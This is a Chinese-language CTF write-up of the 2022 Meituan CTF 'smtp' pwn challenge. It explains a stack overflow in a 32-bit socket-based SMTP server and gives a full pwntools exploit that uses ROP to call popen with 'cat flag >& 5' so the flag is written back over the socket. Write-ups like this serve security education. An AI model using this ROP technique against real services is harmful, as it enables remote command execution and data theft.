2022 美团 CTF 初赛 Pwn smtp

长见识了

前段时间瞄了眼 WP 看到这题是溢出. 以为挺简单的, 差点就不想复现了. 又学到了, 赢.

32 位 ELF, 仅开启栈不可执行. 通信使用的是 socket. 看了一堆代码弄懂协议后, 在 submit_session 中找到了溢出. 协议逆向和溢出都跳过, 重点是如何攻击.

读入使用 strdup 处理过了, 所以不能有 0. 没开 PIE 程序地址有了, 但是如果想 system("/bin/sh") 的话还得 leak libc. 由于通信使用的是 socket, 不能直接构造 puts 泄漏 got 表, 本来想构造 send ROP 的, 结果有个参数是 0, 直接寄了.

这题利用的是 popen(), popen 有两个参数 command 和 type, 功能就是 fork 一个子进程, exec sh, 在 shell 里执行 command. type 只能为 “r” 或者 “w”, 将 command 的输入或者输出重定向到管道, popen 返回这个管道.

看上去这完全不能交互, 可其实足够了. 只需要构造 popen("cat flag >& 5", "r") 或者第二个参数为 “w” 即可. 调试一下可以发现, socket 的 fd 是 5. 所以执行 cat flag, 输出重定向到 5, 就可以接收到了. 由于并没有用到输入, 执行 cat flag 就足够了, 所以 “r” 可行. 由于重定向输出, 所以 “w” 也无所谓. 就看程序能找到 “r” 还是 “w” 了. 这里能够找到 r. iz | grep -E "r$".

长见识了

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

# io = process(procname, stdin=PTY)
io = remote('127.0.0.1', 9999)
elf = ELF(procname)
# libc = ELF(libcname)

def n2b(x):
  return str(x).encode()

def one_gadgets():
  result = [int(i) for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
  debug(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
  return result

pop_2_ret = 0x0804a9d2
cmd = b'cat flag'
cmd_address = 0x0804d140
r = 0x0804b440

io.sendafter(b'220 SMTP tsmtp\n', b'HELOa')
io.sendafter(b'250 Ok\n', b'MAIL FROM:' + cmd + b' >& 5')

payload  = b'a' * 0x100 + p32(elf.got['puts']) * 3 + p32(0xdeadbeef)
payload += p32(elf.plt['popen']) + p32(pop_2_ret) + p32(cmd_address) + p32(r)
io.sendafter(b'250 Ok\n', b'RCPT TO:' + payload)

io.sendafter(b'250 Ok\n', b'DATA')
io.sendafter(b'354 End data with <CR><LF>.<CR><LF>\n', b'\r\n.\r\n')

io.interactive()